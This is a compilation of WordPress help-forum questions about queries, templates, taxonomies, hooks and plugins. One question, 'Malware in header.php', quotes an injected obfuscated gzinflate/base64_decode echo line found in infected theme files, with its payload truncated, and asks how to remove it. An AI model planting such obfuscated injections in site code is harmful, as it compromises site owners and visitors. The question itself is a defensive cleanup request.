Post OrderBy slow performance

I have been struggling for quite a while now with this, to put in simple term here is what i do.   * I do an OrderBy with wp_postmeta information   * This allow me to give an additional date to play with. Reasons for this is i want my users to be able to modify a post without changing the current Order which shows on the main and category pages. This extra date is also used to determined if a post was an "Updated Article" meaning it contains additional information. The whole process works flawlessly so far but having a database containing over 40K+ posts in the database each having this meta_key makes it heavy on the queries. Caching is done also with Transient Cache and secret sauce from the Hosting Provider. But the caching process doesn't seem to help all that much. So i'm open to critics and suggestion to make the whole process better. Additional Info:   * Avg Query time is : 5 sec   * Query is done via object WP_Query.                   SELECT SQL_CALC_FOUND_ROWS  wp_posts.ID FROM wp_posts             INNER JOIN wp_postmeta ON (wp_posts.ID = wp_postmeta.post_id)             INNER JOIN wp_postmeta AS mt1 ON (wp_posts.ID = mt1.post_id)           WHERE 1=1  AND wp_posts.post_type = 'post'             AND (wp_posts.post_status = 'publish')             AND (wp_postmeta.meta_key = '_post_updated_date'             AND mt1.meta_key = '_post_updated_date' )           GROUP BY wp_posts.ID           ORDER BY wp_postmeta.meta_value DESC LIMIT 0, 10


Archive pages: sorted by custom field value

I'm using a custom field – entry_type – to add types to posts, for example, Gallery or Announcement etc. On my archive pages, I want to then separate out the post types stored in entry_type. For examples: Archive: Maths Galleries: Maths gallery 1 Maths gallery 2 Announcements: Maths announcement 1 Maths announcement 2 So far I've got: http://pastebin.com/mRBKGBQD However, this is pulling in all posts in any category where entry_type is equal to gallery. How can I make it just return the results within the current categories archive?


Get category ID in "archive-product.php"

How can i get the category ID in the `archive-product.php` template? I tried to get this information with the `$category` var, but this var isn't accessible in this template file.


Use Custom Field As Meta Box In Post

I recently asked on this forum how to create a beta box using custom field, which was answered but with a not so right answer, but it helped me. For example, there's a custom field that I use called - the-field. I want to add a simple meta box (textbox) to my post editor which will set the value of my custom field from that meta box, not its own value. Is there any way to do that?


Malware in header.php

Four different websites got infected and been blocked by Google, and after a quick look, I've noticed this just before wp_head():               <?php      #d93065#     echo(gzinflate(base64_decode("tVVNj5swEP0... (edited out) hH5m7L/5+/gM=")));     #/d93065#     wp_head(); ?>      I have cleaned the code but this reappeared after a few hours. Then again and again. I thought that timthumb is the culprit, but this happened on a WordPress without timthumb aswell as I've scanned it previously with timthumb vulnerability scanner. There's nothing suspicious in htaccess, wp-config and the files everyone is talking about, from wp-includes, have checked all the js files, nothing, nothing, nothing. **What could it be, how do I get rid of this?**


How to customize my category pages

I'm an experienced php programmer, but a wordpress newbie. My site uses the theme twenty eleven. I have created some post categories, and some posts for each category. On my site, for each post category, a page has automatically been created displaying the posts for that category. So far so good. What I would like to do now is do some customization. For example:   1. For some categories, I want the full content displayed, but for others, just the synopsis.   2. For some categories, I want the page to have a link to the permalink of the posts being displayed, but for others not.   3. For some categories, I wish to display the post's featured image, but for others not. Etc. How do I accomplish this? I'm aware of the various php files, such as header.php, etc. It appears that the file that handles category pages is category.php and inside it is a loop "while ( have_posts() )". Is there one php file that I'm supposed to edit and customize to accomplish what I need? (Maybe content.php?) Or is different from this? I would be grateful for any assistance.


How can I stop wordpress translating my page template names

I am using wordpress multisite to manage different language versions of my site. This is the code I am using to achieve this               /**     * Language Support     */     add_filter( 'locale', 'my_theme_localized' );     function my_theme_localized( $locale )     {     global $blog_id;          if($blog_id==2) {         return 'de_DE';     } elseif($blog_id==3) {         return 'jp_JP';     }          return $locale;     }     add_action('after_setup_theme', 'my_theme_setup');          function my_theme_setup(){         load_theme_textdomain('mac', str_replace('mac-mobile', 'mac', get_template_directory()) . '/languages');     }      This all working fine but I've just noticed that wordpress is translating my template names. I want the back end of every site to remain in english so this is a little annoying. Other than naming my templates to a word or phrase that doesn't feature in my .po file is there a way to stop wordpress translating my page template names?


Custom post type plugin archive page doesn't work?

I am creating a custom post type plugin. In that I have added a custom archive template and single page template. The single page template works fine, whereas the archive template is not working.               function astest_register() {         $args = array(             'public' =>true,             'has_archive' => true,             'capability_type'  => 'post',             'menu_icon' => plugins_url('images/as-icon.png', __FILE__),             'menu_position'=> 100,             'label' =>'AS-Testimonial',             'taxonomies' => array('category'),             'supports' => array(                 'title',                 'editor',                 'thumbnail',                 'register_meta_box_cb' =>'astestimonial_metaboxes'             )         );              register_post_type('astest', $args);         flush_rewrite_rules();     }     add_action('init', 'astest_register');


Strip 'p' tags in wp_trim_excerpt()

When I have a lot of paragraphs in a post and trying to display an excerpt in blockquote, all `<p>` tags are stripped, and whole 55 words are in one `<p>` tag.
       <?php the_excerpt(); ?>
      Result:

First paragraph. Second paragraph. Third paragraph.

      I want it to be:

First paragraph.

Second paragraph.

Third paragraph.

      I tried:               function improved_trim_excerpt($text = '') {       $text = strip_tags( $text, '
' );     }     add_filter('the_excerpt', 'improved_trim_excerpt');      But this does not work. Can you guys help me out? Any help is very appreciated.


How to access global $wp_meta_boxes variable on front-end?

Is there a way to take the global `$wp_meta_boxes` variable to be used in the front-end? Currently the `$wp_meta_boxes` is accessible on specific admin pages only. I've found a similar question about this. Its solution is to get the data via the `do_meta_boxes` hook, but I would like to access the variable without JS/AJAX, and in a front-end template.


Display Something in the Header After All Styles are Loaded

I'd like to include a functionality in a theme that will overwrite styles from previously included CSS files. For this purpose, I need to be able to display a `<style>` in the header after ALL stylesheets have been displayed. Is there a hook to do this?


Include and Exclude Taxonomies From Archives & Feeds Using 'pre_get_posts'

## What I am trying to do? My blog uses a custom taxonomy called `edition` with terms like `us-canada` (6), `eu` (7) and `india` (8) -- term slug (ID). I want to make sure that posts **not assigned to any specific 'edition'** be shown under all the terms (i.e. if a post is not assigned to usa, europe or india, it'll be shown in the archive pages of all these terms). ## What I've tried? Here's the sample code pertaining to one of the terms, which should give you an idea of what I am exactly trying to do, and what I'd be doing wrong.               add_filter('pre_get_posts','better_editions_archive');          function better_editions_archive($query) {              if ( $query->is_tax( 'edition', 6 ) && $query->is_main_query() ) {             $query->set( 'post_type', array( 'post' ) );                  $query->set( 'tax_query',                 array(                     'relation' => 'AND',                     array(                         'taxonomy' => 'category',                         'field' => 'id',                         'terms' => array( 1, 2, 4, 5 )                     ),                     array(                         'taxonomy' => 'edition',                         'field' => 'id',                         'terms' => array( 7, 8 ),                         'operator' => 'NOT IN'                     )                 )             );         }              return $query;     }      **What's wrong?** The aforementioned code doesn't work (others I've tried: code-1, code-2), it's doesn't change anything. There's no debug error either. So, what could I be doing wrong? **ALSO** , to make sure that the changes also apply to feeds of these terms, I replaced the relevant line in the aforementioned code with this:               function better_editions_archive($query) {              if ( ( $query->is_tax( 'edition', 6 ) && $query->is_main_query() ) || ( $query->is_feed() && $query->is_tax( 'edition', 6 ) ) ) {      But that starts to redirect the terms' feeds back to the terms' archives. That is, with the function in place, `example.com/edition/usa/feed/` redirects back to `example.com/edition/usa/`. Again, I've no clue as to what I'd be doing wrong. ## UPDATE: What's worked for me? (But...)               add_filter( 'pre_get_posts', 'better_editions_archive' );          function better_editions_archive( $query ) {         if ( $query->is_tax( 'edition', 6 ) && $query->is_main_query() ) {                  $args = array(                 'post_type' => 'post',                      'tax_query' => array(                     'relation' => 'AND',                     array(                         'taxonomy' => 'category',                         'field' => 'id',                         'terms' => array( 1, 2, 4, 5 )                     ),                     array(                         'taxonomy' => 'edition',                         'field' => 'id',                         'terms' => array( 7, 8 ),                         'operator' => 'NOT IN'                     )                 )             );                  $query->query_vars = $args;         }              return $query;     }      It works, but the problem is, I'd an extended chat discussion with a knowledgeable WordPress developer, and he told me this (you can follow the full conversation here, but it's too lengthy): > And you're then assigning this array as the `query_vars`. Now the > `query_vars` is a pretty large object. And you're basically overwriting the > data in there and just adding your custom ones. This means that you 'unset' > everything that is added per default. He pretty much advised against using this solution, and instead go with the `$query->set();` method. But as you can see far above, I couldn't get the other one to work. So I am here to see if anyone can tell me what I am doing wrong, in a less-technical- speak.


JQuery load php - php file without the template

I'm about to start writing a php file that will return a JSON array to be used as a JQuery autocomplete source. I want to create my source.php file that loads without the WordPress template. Currently /includes/source.php contains:               <?php     echo "hello world";     ?>      But if I go to http://www.mywordpress.com/includes/source.php I instead get the templated 404 page. How can I avoid this? EDIT in response to the comments, here is my htaccess file:               # BEGIN WordPress     <IfModule mod_rewrite.c>     RewriteEngine On     RewriteBase /     RewriteRule ^index\.php$ - [L]     RewriteCond %{REQUEST_FILENAME} !-f     RewriteCond %{REQUEST_FILENAME} !-d     RewriteRule . /index.php [L]     </IfModule>          # END WordPress


Add class to DIV depending on page loaded

I'm designing a new theme and in my page template a have a section where an image is displayed . I would like this image to change depending on which page is loaded. The section is a DIV like this: `<DIV class="ximage"></DIV>` What I would like to do is to add a class to the DIV depending om page loaded and then style the class with background-image in CSS. I know you can do this with for example body_class() if you want to add classes to BODY. But how do I do this with a DIV? There will be quite a few pages in this theme, so ceate a template for each page seems wrong.


Insert "New User" and update/set meta data at once

The wordpress function wp_insert_user doesn't seem to set (overwrite) the input I give. (documentation shows you can't) Trying to use: wp_insert_user using the returned userID also doesn't work. Of course I could just make my own query but maybe I'm forgetting an option to insert this data using a existing function.               $userdata = array(         //user login         'user_pass'  => esc_attr( $_POST['pass'] ),         'user_login' => esc_attr( $_POST['user'] ),         'user_email' => esc_attr( $_POST['email'] ),              //user meta         'rich_editing' => false,         'comment_shortcuts' => false,         'show_admin_bar_front' => false,                 'wp_user_level' => 0,          'wp_capabilities' => 'a:1:{s:10:"subscriber";s:1:"1";}'      );               $new_user_user_id = wp_insert_user( $userdata );


SSL redirect loop using Wordpress HTTPS Plugin

I'm using Wordpress in a NginX server proxying to an apache server which serves the pages. Recently we wanted to force the use of SSL at least in the Admin section, so we installed the Wordpress HTTPS plugin. The server sections in NginX are properly configured, but when I activate the "Force SSL for admin" option I fall on a redirect loop. I don't think that it's a cookie issue. If you need more info, I'll pass it to you.


Help with Changing loop.php?

I'm trying to edit the loop so if its on category ID 60 it displays "Photos" instead of "Blog".. how do I do this? blog                   <?php if(is_archive()&&!is_category()&&!is_tag()&&!is_search()){ ?>                  <!-- BEGIN .archive-title -->             <h1 class="page-title">                      <?php if ( is_day() ) : ?>                         <?php printf( __( 'Daily Archives: %s'), get_the_date()); ?>                     <?php elseif ( is_month() ) : ?>                         <?php printf( __( 'Monthly Archives: %s'), get_the_date( 'F Y' )); ?>                     <?php elseif ( is_year() ) : ?>                         <?php printf( __( 'Yearly Archives: %s'), get_the_date( 'Y' )); ?>                     <?php else : ?>                         <?php _e( 'Blog Archives'); ?>                 <?php endif; ?>                  <!-- END .archive-title -->             </h1>              <?php } ?>


Search queries don't seem to work?

I have a problem with search queries. Anytime you put additional queries, like: > mywebsite.com/?s=wordpress&post_type=page > > mywebsite.com/?s=wordpress&post_type=page,post > > mywebsite.net/?s=wordpress&cat=1 > > mywebsite.net/?s=wordpress&post_type=post&tag=genesis-post > > mywebsite.net/?s=wordpress&post_type=post&tag=thesis-post it should do a search in the specific scope (post type, category, tag). In my case, it doesn't seem to work no matter what I put as an additional parameter, it will display all results containing the word I'm searching for. In my post types, I have `query_var` set to `true` so in theory, it should work. My search.php loop looks like this               <?php if ( have_posts() ) while ( have_posts() ) : the_post(); ?>
                  <?php if ( 'post' == get_post_type() ) : ?>
<?php the_category(' '); ?>
             <?php else : ?>
Resource
             <?php endif; ?>
<a href="<?php the_permalink(); ?>"><?php the_title(); ?>
             <?php the_excerpt(); ?>
          <?php endwhile; ?>      Using a hidden input in my searchform.php doesn't work either,               <form method="get" id="searchform" action="<?php bloginfo('url'); ?>"  class="search">         <input type="text" class="field" name="s" id="s" />         <input type="submit" class="submit" name="submit" value="Go" />         <input type="hidden" name="post_type" value="myposttype" />     </form>      it still searches normal posts, not only within myposttype CPT. Any idea why the search queries wouldn't work? Any help appreciated.


List posts by category exclude current post

I'm trying to get a list of posts from one category, echo the title and the permalink of all posts on that category but exclude the permalink and the post name IF the current post is on that list. It will be displayed on single.php after or inside the loop Anyone knows if it is possible, if so how? Thanks in advance               <?php query_posts('category_name=MyCatName&showposts=-1'); ?>     <?php while (have_posts()) : the_post(); ?>                  <a href="<?php the_permalink(); ?>">               <?php the_title(); ?>               </a>             <?php endwhile; ?>


How to have search results page sorted by post date

On this search results page: http://p2reloaded.com/?s=versions&search- submit=Search I'd like to inverse the order of the results to start by newest post date first at the top of the page. Right now it's showing older posts first. Is there a way to specify that in the WP search function through a URL parameter? BTW, I am had to install the Relevanssi plugin to get WP (or the theme?) to search using tags. Thanks! Noel


How can I include JavaScript that use jQuery on admin side

I try this:                 add_action('admin_print_scripts', 'custom_admin_scripts' );      function custom_admin_scripts() {            echo '<script type="text/javascript" src="' . get_bloginfo('stylesheet_directory') . /admin-scripts.js"></script>';      }      but by this way it doesn't recognize jQuery. So I get `Uncaught ReferenceError: jQuery is not defined`.   I think that it because jQuery is linked after my script. As I see in HTML source:                 <script type="text/javascript" src="http://localhost:8080/wp-test/wp-content/themes/test/admin-scripts.js"></script>     <script type="text/javascript" src="http://localhost:8080/wp-test/wp-admin/load-scripts.php?c=1&load=jquery,utils&ver=edec3fab0cb6297ea474806db1895fa7"></script>      How can I fix it?


How can i retrive the movies, trailers, news in a single page using search

How can i retrive that. For a few month i build a website, and i want to make it diferent For the search i have 3 post type, and i have for each diferent themes for display \- Movies \- Trailers \- Persons ![How can](http://i.stack.imgur.com/f2BKF.jpg) How i retrive the theme's               <?     /* Template Name: Search Results */     $search_refer = $_GET["post_type"];     if ($search_refer == 'post') { load_template(TEMPLATEPATH . '/search/search-filme.php'); }     if ($search_refer == 'persoane') { load_template(TEMPLATEPATH . '/search/search-actori.php'); }     if ($search_refer == 'serial') { load_template(TEMPLATEPATH . '/search/search-seriale.php'); }     elseif ($search_refer == 'trailers') { load_template(TEMPLATEPATH . '/search/search-trailers.php'); };     ?>      So i want to be able to search for a movie and retrive the trailers and the movie in same page each under and search without selecting the post type. as seen on top of a picture. The Search of movies               <?php if (have_posts()) : ?>     <?php             $args = array(                     'post_type'=> 'post',                     's'    => $s);                     query_posts($args);     ?>     <?php while (have_posts()) : the_post(); ?>     //....      Trailers                   <?php if (have_posts()) : ?>         <?php $args = array('post_type'=> 'trailers', 's'    => $s); query_posts($args); ?>     ...      Thanks in andvance to thouse who help me to achive this.


Adding "meta" info to WP site PHP function?

I'm asking for some grace on this question - I lack sufficient knowledge of both WP and PHP to be more specific ... so here goes: I'd like to associate some "meta" information about my website into the content; for example a tree (e.g. Maple), so that I can use a PHP tag (and/or shortcode) to say something like `<? echo $tree ?>` and get a value printed out. The reason for this is because I'm planning to set up multiple sites using MU with a different focus and some of the content will be dynamic and some manual. What is the recommended way in WordPress to do something like this? Is this something I can define in `functions.php` and then grab at my leisure? PS - is this possibly a custom field thing? I may want this content to appear anywhere (header, sidebar, footer, in page content [etc.])


Generate Catalog Of Posts Based On Template

Is there a way to print a hierarchy of posts/pages/custom post types based on page template? EG. I am often asked to review another web site and I'd like a way to 'see' all the pages that are assigned to the 'Newsletter' PHP template and all the pages assigned to the 'Product Info' PHP template. Is there a plug-in like that or some code one can recommend?


Theme showing multiple times in dashboard theme page

I'm making my own blank starter WordPress theme & it currently shows many times in the admin theme page & I do not know why! Does anyone know why this might be (& how to fix it)?![screenshot of Themes in dashboard showing my starter theme many times](http://i.stack.imgur.com/DCaST.jpg) UPDATE 280413 (NB please see my comment below) So after the disaster of my localhost wordpress crash after I tried deleting one of these themes at themes dashboard I reinstalled most of the themes that had been lost. Today while working on a theme I noticed it's link color style remained after I had changed it and saw firebug was pointing to a style.css file OUTSIDE of the localhost/wordpress directory. This style.css was a copy of the style.css in the localhost/wordpress/wp-content/themes/xxxtheme folder I had been editing. I removed the whole folder/directory that was outside wordpress with that style.css from my localhost directory (ie inetpub/wwwroot/xxxtheme folder) & my WordPress theme xxxtheme style editing worked. I had not realised that folders outside my wordpress folder in my IIS localhost server (yet still in my localhost IIS default site structure) could interact in this way with the wordpress style.css in themes directory. I strongly suspect that this has something to do with the problem I had with so many of the same themes showing in the theme admin dashboard. I have 'cleansed' my localhost default and localhost wordpress directory of duplicate theme folders & similar wordpress theme style sheets and truly hope this has fixed this problem. Knowing this also will help me do css styling in localhost/localhost/wordpress with less chance of css conflicts/unwanted inheritances....phew! :-) The screenshot below shows firebug style.css popup referring to a different location to the main style.css for the wp xxxtheme. ![localhost/wordpress theme in firebug showing popupbox with unwanted style.css](http://i.stack.imgur.com/73hpB.png)


Wordpress post saves until Apostrophe (’) is used

I've installed wordpress onto a fresh VPS with nginx + php-fpm, the installation works fine apart from whenever I post something with a ’ the post ends there. It's looks to be some sort of escape error or something but I've not being able to track it down.   * We are using a custom theme but it still happens when we switch to a standard one   * There are no plugins installed I'm not sure how I can track down the problem, has anyone had any similar experiences? EDIT:: Okay narrowed it down to if the post contains ’ then it will stop at the content if the post contains ' then it will be fine and carry on


gallery shortcode exclude not working

I'm using this bit of code on single.php:               $params='[gallery link="file" size="my_thumbnail_small" exclude="'.$featuredId.'"]';     $gallery = do_shortcode($params);     echo $gallery;      But nomatter what I put in the `exclude` param, it has absolutely no effect on the output, the image that I'm trying to exclude gets shown every time regardless of the params I use. My `$featuredId` var contains the ID of the post thumbnail / featured image, which in this test case is `93`. I've tried just with `exclude="93"` incase it's getting overwritten or something but to no avail. The theme is an almost completely blank one with nothing but a few `add_image_size()` calls in functions.php and the only plugins I'm currently using is file un-attach 1.01. Wordpress is at version 3.3.2. Anyone have any idea why this isn't doing what I expect? EDIT: I've tried the accepted answer from this question on SO, still no dice. http://stackoverflow.com/questions/4337999/wordpress-exclude-the-post- thumbnail-from-gallery-shortcode Maybe there is some theme support I need to add for this to work?


get_results on large datasets

I am experimenting some very disturbing problem using a custom SQL query. I have a custom MySQL table called `trading_datas` having 165 lines for 4,4Mo. One field `datas` of my table is a big serialized array. When requesting over it that way:               $querystr = "SELECT item, datas FROM trading_datas";     $result = $wpdb->get_results( $querystr, 'ARRAY_A' );      my PHP script stops and nothing gets echoed right after that line. When retrieving only `item` everything works great. Should I zip my serialized array before putting it in database? Any other solution? Thanks a lot for help!


How to get the parent's taxonomy?

* I have 2 customs post type : "Artist" and "Concert",   * the "Concert" custom post type is the child of the "Artist" custom post type,   * the "Artist" custom post type has a "genre" taxonomy. What I'm trying to do (for instance): list all the concerts which belong to artists of the "pop" genre. Here is the query of my dream: `SELECT * FROM posts WHERE post_type = "concert" AND **post_parent_term** = "pop"` I think currently there is no such thing as **post_parent_term** , hope I'm wrong ... (I know i can add the "genre" taxonomy to the "Concert" custom post type and voilà! But I'm really curious to know if there is another way to achieve that). Thanks by advance.


List Terms in Category

I want to list all terms of a specific taxonomy used in a category. Like I have a taxonomy called 'Manufacturer' and a category 'Shoes'. Each post in this category has a term like 'Nike', 'Adidas' or 'Reebok' and of course there are some posts having the same term. And on the archive page I want to list all the terms used in this category and not terms like 'American Apparel', used in in the category "Shirts". I hope you understand my problem and have a good idea for solving this problem. Thanks in advance, Timo


What can cause intermittent permalink issue with posts and pages, but custom posts work fine?

Ok, we had this issue in previous version of WP, there was a bug about rewrite issue. Bug: http://core.trac.wordpress.org/ticket/21020 We reverted back to previous version, and all was good. We were on sub-domain, finishing up the site. Today, we switched all URLs to the top level domain and everything worked fine. Then, all of the sudden pages and posts stopped working. BUT, custom post types work just fine. It uses postname setup, default urls work! I tried resetting htaccess, resetting permalinks, changing themes to 2011, deactivating plugins, nothing works. I'm stumped. I upgraded to latest WP, 3.4.1 which supposedly fixed the rewrite bug. Still does not work. We've tried going back to previous version again. That did not work. So, then, all of the sudden permalinks began to work. 2 days later, they stopped working again!! Page: http://www.4printing.net/contact-us/ Custom type: http://www.4printing.net/articles/anaheim-commercial-printing/ Please help! Out of ideas.


How to display only category of blog without custom code?

Is it possible to display the titles of a category without having to use custom code or plugins? I'd like to use two or three categories (basically two or three blogs) on the same site.


Multiple Orderby's using random order WP_Query

Here is the setup. The site in question is a website that displays listings. Each listing has a rank (1-3). Basically it's a listing type... small, medium & large to determine how much the customer pays. When I do a WP_QUERY of all of the listings I want to display them in order DESC from 3-1 (larget - small)... basically show all large listings, them medium then small listings. Think sortfolio.com The problem is not only do I want to order them large-small, but I also want to randomize each listing so the same large one will not always be the first one displayed. Here is what I was trying:               $query = new WP_Query( array( 'post_type' => 'listing', 'orderby' => 'meta_value_num rand', 'meta_key' => 'membership'));      As you can see I am ordering them by the membership level but then am trying to randomizing them. It seems to work, but it always puts the initial membership results in ASC order and there is no way (i can figure) around it. Any help is greatly appreciated!!


How do i display post from a taxonomy term?

Hey i was wondering how could i show post from a certain taxonomy term in the loop.                <?php the_excerpt(); ?>      I have a taxonomy entitled "series" under my post type entitled "Gallery", and in "series" i have the TERM "pretty-little-liars". Under my **post type** "pretty-litte-liars" archive it shows all the post posted in that CPT. I would like to add a code that also allows post posted under the taxonomy "series" with the term "pretty-little-liars" to show on that page as well. what do i add to the above excerpt code to make this happen?


Writing a view count with w3 total cache

I am trying to develop functionality which counts how many times a post is viewed however I am also using page caching (APC possible memcache in the future) via w3 total cache. The "view count" value is not to be shown to anyone but administrators/editors and only when editing the post in admin section. So my question is if I do the following for every post               update_post_meta($postID, 'view_count', $count++);      is it going to   * work considering im using page caching?    * if it does work, would it slow down the request considerably?    * if it does slow down the request would doing a asynchronous mysql update via MYSQLI_ASYNC speed this back up? Thanks


Display newest post's custom field content on homepage, daily

Ok, so I'm pretty confident on how to display a certain post's custom field content on my home page, or wherever I wanted it. But what I'm trying to do is this: I have my main home page that I want to display content from the newest post everyday. In other words, I have an area where I need to display the newest post's custom field content daily. Automatically. I will be posting a new post every morning. I don't want to have to go in and edit the home template page everyday though. I would like to setup the home page template to automatically pull in the info. So every morning, after publishing my post, this block will show the custom field content in it. Can anyone point me in the right direction? Thanks!


How can I unhook this action that was added via $this?

This is in regards to the plugin Theme My Login, although the question may relate to any plugin. The author says he no longer uses the support forum, so I've come here. I'm trying to unhook the following action, found in `/modules/custom- passwords/custom-passwords.php` on line `38`.               class Theme_My_Login_Custom_Passwords extends Theme_My_Login_Abstract {        protected function load() {           add_action( 'register_form', array( &$this, 'password_fields' ) ); // Unhook This!           ...      Now I've tried a bunch of versions of the `remove_action` function, but none seem to work. Every time I have used remove_action before it has been with a variable, but TML is using the class directly. I have tried the following in **directly before the`do_action('register_form')`** function call. None seem to work.               remove_action('register_form', array( Theme_My_Login, 'password_fields' ) );          remove_action('register_form', array( Theme_My_Login_Custom_Passwords, 'password_fields' ) );          // get_object() is a method of the original class, and returns the      // object which can be var_dump'd     remove_action('register_form', array( Theme_My_Login::get_object(), 'password_fields' ) );      I know this is the action I need to remove, as I can comment it out within the plugin file and it solves the issue. But I don't want to edit the plugin file, obviously, because I want to keep the plugin updated.


Display Post Meta in Header

I'm trying to get page post meta in my header so I can set some meta tags. I tried to get the global post variable but it only return true.               <?php         global $post;         global $wp_query;         echo print_r($post);         echo print_r($wp_query->post);         die();     ?>      All I get is `11` \- is there a way to get my post meta in the header?


Add role and edit page capabilities

i've create a new user role and i want this user can edit page and use custom post type. For custom post type i've resolve but for the page not function. On backend the user can only see the page but can't edit. Where wrong?               /* aggiungi ruolo */      add_role('brokers', 'Brokers', array(               'read' => true, // True allows that capability     'edit_pages' => true,      ));


Drag n Drop Post Order for multiple Custom Post Types

I have two custom post types (Branding Elements and Products) that I'm showing on a single page, and the client wants to be able to control the sort order of the page. What would be the best course of action for creating a way for the client to re-order two post types with a drag n drop interface? Because they're 2 different post types, none of the currently available plugins are suitable.


Pagination broken when merging search results with additional WP_Query

On the search results page (`search.php`) I would like to perform an additional `WP_Query` to keep a specific order of search result types e.g. search results from authors should always be shown before the other results - **The first few pages should hold the author results, the other results should be shown on all the following pages only (not mixed on each page).**               global $wp_query; //holds the results of the initial search query          $authorposts = $wp_query->posts;         $query = new WP_Query( 'year=2012&monthnum=12&day=12' );     $otherposts = $query->posts;          $wp_query->posts = array_merge( $authorposts, $otherposts  );     $wp_query->post_count = count( $wp_query->posts );          if ( have_posts() ) : while ( have_posts() ) : the_post(); ?>       //show results loop...      The problems appear with the behaviour of pagination - while the `$authorposts` seem to paginate correctly i.e. correct page numbers for author posts and pagination works as only those where existent. But the `$otherposts` on the other hand are shown at the bottom of each page, right under the author posts. And they are the same on every page! Also the page count reflects the count of the first query only. I have also tried to merge with the `plus` operator:               $wp_query->posts = $authorposts + $otherposts;      but in this scenario the `$otherposts` don't show up at all and the page count stays the same (page count for author posts). All the examples with similar goals using two separate queries I've seen looked quite the same - **So I'm wondering if the my way of extending the original search query results with that additional`WP_Query` is sufficient or if I'm missing some `$wp_query` fields to be populated (correctly)? What's the correct way doing this?** **Update:** It should be noted that I'm using the WP-PageNavi plugin to paginate but this should not be relevant in the first place as the first page is already rendered wrong. And it's also initialized with the query object: `wp_pagenavi( array( 'query' => $wp_query ));`


Creating option to allow user to select the page my plugin content will display on

I have an options page for my plugin, but cannot seem to figure out how to create an option to allow admins to select a page that will display my plugins content. Does anyone have an example of how this is done? EDIT: I created a plugin and have a widget to search the content of my plugin. However I need the widget to post to the page that my plugins content is being displayed on. Since the widget is on the sidebar it could be submitted from any page, I need to be able to detect which page the plugin content is being displayed on and se the to that page. 1\. detect the shortcode on a given page, and use that. OR 2\. Create an option from a settings page to allow the admin to select which page the plugin content will be displayed on and get rid of the shortcode. I hope that clarifies. I have a settings page for my plugin, I just do not understand how to get a list of the available pages and save/update the option in the wp_options table.


load wp_editor without wp_footer

Im trying to laod wp_editor in a popup and I don't want to use wp_footer and fill it with lot of unnecessary js, css and html loaded by other plugins. At the moment when i need wp_editor I have:               //if using wp_editor load necesary files     if (  class_exists( '_WP_Editors' ) ):                  _WP_Editors::editor_js();             _WP_Editors::enqueue_scripts();     endif;      But I still need wp_footer.... There is any way to run the tinymce editor without wp_footer?


How to add a class to ul tags created by the WordPress editor Tinymce?

I want to set a special styling for the ul tags created by Tinymce only, which means only for posts and pages, I only found this filter tiny_mce_before_init with an example on how to add custom style options to an existing style dropdown. so is there a way to add a class to ul tags created by the WordPress editor ?


Allow editor to manage part of the admin settings

I'm using a plugin called Business Hours. I want the editor role to be able to manage the settings for the plugin which are situated in the Settings menu. I know how to allow editors to access all the admin settings, but I want them only to be able to manage the settings for the plugin. Any ideas? ![Screenshot](http://i.stack.imgur.com/qbEte.png)


Search posts by calendar option

Currently have this website and as you can see there is search options for Gig date, Gig price, posted date and county. Here is the code:               <option <?php if($tp==3) echo 'selected'?> value="3">Gig Date</option>     <option <?php if($tp==1) echo 'selected'?> value="1">Gig Price</option>     <option <?php if($tp==2) echo 'selected'?> value="2">Posted Date</option>     <option <?php if($tp==4) echo 'selected'?> value="4">County</option>      I am trying to add a search option with a calendar where visitors can select a date and it shows all results on that gig date does anyone know how to do this?


Using post ID in custom tinyMCE button

I'm building a simple plugin and need to be able to access current post id when user clicks custom tinyMCE button (inside its onclick function). How should I get current post ID to do that. Just for this example, code from this tutorial: http://brettterpstra.com/2010/04/17/adding-a-tinymce-button/ can be used, and after clicking on the button, current post id could be logged into console (console.log) or alerted to screen.


is_home() in HTML head

Is there a way to check if the current page is the home page from within the head? My `style.php` needs the number of posts in the slider, but only on the home page. So I count my posts like this:               <?php      $meta_key = 'teaser';     $posts_per_page = 6;          $sql = "SELECT count(DISTINCT pm.post_id)     FROM $wpdb->postmeta pm     JOIN $wpdb->posts p ON (p.ID = pm.post_id)     WHERE pm.meta_key = '$meta_key'     AND pm.meta_value != ' '     AND (p.post_type = 'post' OR p.post_type = 'page' OR p.post_type = 'ai1ec_event')     AND p.post_status = 'publish'     ";     $count = $wpdb->get_var($sql);     if($count > $posts_per_page)     {     $count = $posts_per_page;     }     ?>          <link rel="stylesheet" type="text/css" media="all" href="/wordpress/wp-content/themes/roots/style.php?tcount=<?php echo $count;?>" />      I tried to wrap it in an if statement, but `is_home()` or `is_frontpage()` do not work. This is the style.php (Just some relevant parts, to show how it works):               <?php header("Content-Type: text/css");      $seconds_to_cache = 86400;     $ts = gmdate("D, d M Y H:i:s", time() + $seconds_to_cache) . " GMT";     header("Expires: $ts");     header("Pragma: cache");     header("Cache-Control: max-age=$seconds_to_cache");     ?>          <?php     $numTeasers = $_GET['tcount'];     ?>               /* =============================================================================     Slider Controls     ========================================================================== */          <?php     $max = $numTeasers;     for ($s = 1; $s <= $max; $s++)     {          $next = $s+1;     if($next == $max+1){$next = 1;}     echo "#wdgt_slider #slide".$s.":checked ~ #controls label:nth-child(".$next."){background: url('/wordpress/wp-content/themes/roots/assets/img/slider/next.png') no-repeat scroll 0 0 transparent;display:block;position:absolute;right:0;margin:0 20px 0 0;}";          $prev = $s-1;     if($prev == 0){$prev = $max;}     echo "#wdgt_slider #slide".$s.":checked ~ #controls label:nth-child(".$prev."){background: url('/wordpress/wp-content/themes/roots/assets/img/slider/prev.png') no-repeat scroll 0 0 transparent;display:block;position:absolute;float:left;margin: 0 0 0 20px;}";          echo "#wdgt_slider #slide".$s.":checked ~ #active label:nth-child(".$s."){color:#c2b29e}";          echo "#wdgt_slider #slide".$s.":checked ~ #slides #slide-teaser-".$s." .info, #wdgt_slider #slide".$s.":checked ~ #slides #slide-teaser-".$s."     {         visibility:visible;         width:100%;         height:auto;         opacity:1;     }";     }     ?>               @import url(“../adventon/style.css”);      And by the way: Is it bad practice to do such things in the HTML head?


Do I need to deal with WordPress SQL Injection

